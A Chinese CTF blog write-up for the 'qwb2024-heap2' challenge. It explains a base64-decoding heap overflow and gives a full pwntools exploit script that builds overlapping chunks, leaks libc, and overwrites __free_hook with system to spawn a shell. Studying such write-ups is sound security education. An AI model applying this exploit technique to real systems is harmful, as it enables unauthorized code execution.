qwb2024-heap2


base64:明文3倍数,密文4倍数;

此时我们输入密文,如果不是4的整倍数,这里malloc分配空间会向下取整,但是到了真正解密的时候:

直接一次+4,然后处理4个字节密文,转变成三字节明文,根本不考虑当前剩余字节数目,回想前面memset(s, 0, 0x400)可以看到如果密文长度不足相当于用00补齐4字节;

所以这里存在溢出,关键是如何构造;

构造

就是最后多出来的这个00字节导致无法控制溢出的第三个字节;

查找密文中的字符集中的字符,然后减去基地址得到偏移,最后用四个偏移拼起来就是3个字符;

失败了的话返回末尾的指针,也就是有点越界的意思,然后sub以后得到0x41,这个似乎无可避免;

思路

三的倍数溢出3字节,那么可以构造一个在堆上只溢出两字节、甚至一字节!

也就是0xn6是三的倍数,0x36就行了,对应的密文应该是0x48然后+2

利用最后多出来的一个固定字节构造overlap即可!

攻击成功

exp

from pwn import *
import sys

import base64


file = "./pwn"
if len(sys.argv) == 1 or sys.argv[1] == 'l':
sh = process(file)
elif sys.argv[1] == 'r':
sh = remote("", )
elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg(con=''):
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
if isinstance(con, int):
con = "b *$rebase(" + hex(con)+")"
gdb.attach(sh, con)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res

def choice(num):
ru("choice:")
sl(str(num))

def add1(con):
choice(1)
ru("Enter the text to decode:")
con = base64.b64decode(con)
sh.send(con)

def add2(con):
choice(2)
ru("Enter the text to decode:")
length = len(con)
con = base64.b64encode(con)
sh.send(con)

def free2(idx):
choice(4)
ru("idx")
sl(str(idx))

def attack():
choice(2)
ru("Enter the text to decode:")
con = 'b'*0x4a
sh.send(con)

def show(idx):
choice(6)
ru("idx")
sl(str(idx))

def func():

add2(b'a'*0x30) #0
add2(b'a'*0x20) #1
add2(b'a'*0x40) #2
free2(0)
attack()
add2(b'a'*0x100) #0
add2(b'a'*0x280) #3
add2(b'a'*0x280) #4
add2(b'a'*0x100) #5
add2(b'/bin/sh\x00')

free2(1)
pay = b'a'*0x28+p64(0x50+0x110+0x290+0x291)
pay = pay.ljust(0x70)
add2(pay) #1
free2(2)

add2(b'a'*0x40)
show(3)
addr = get_libc()
print("addr :", hex(addr))
system = addr - 0x19a950
libc = ELF("./libc-2.31.so")
base = system - libc.sym['system']
print("base :", hex(base))
pause()

free2(5)
free2(4)
free_hook = base + libc.sym['__free_hook']
pay = b'a'*0x110+p64(free_hook-0x278)
add2(pay)

pay = b'a'*0x278+p64(system)
add2(pay)
add2(pay)

free2(7)

sh.interactive()

if __name__ == "__main__":
func()


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录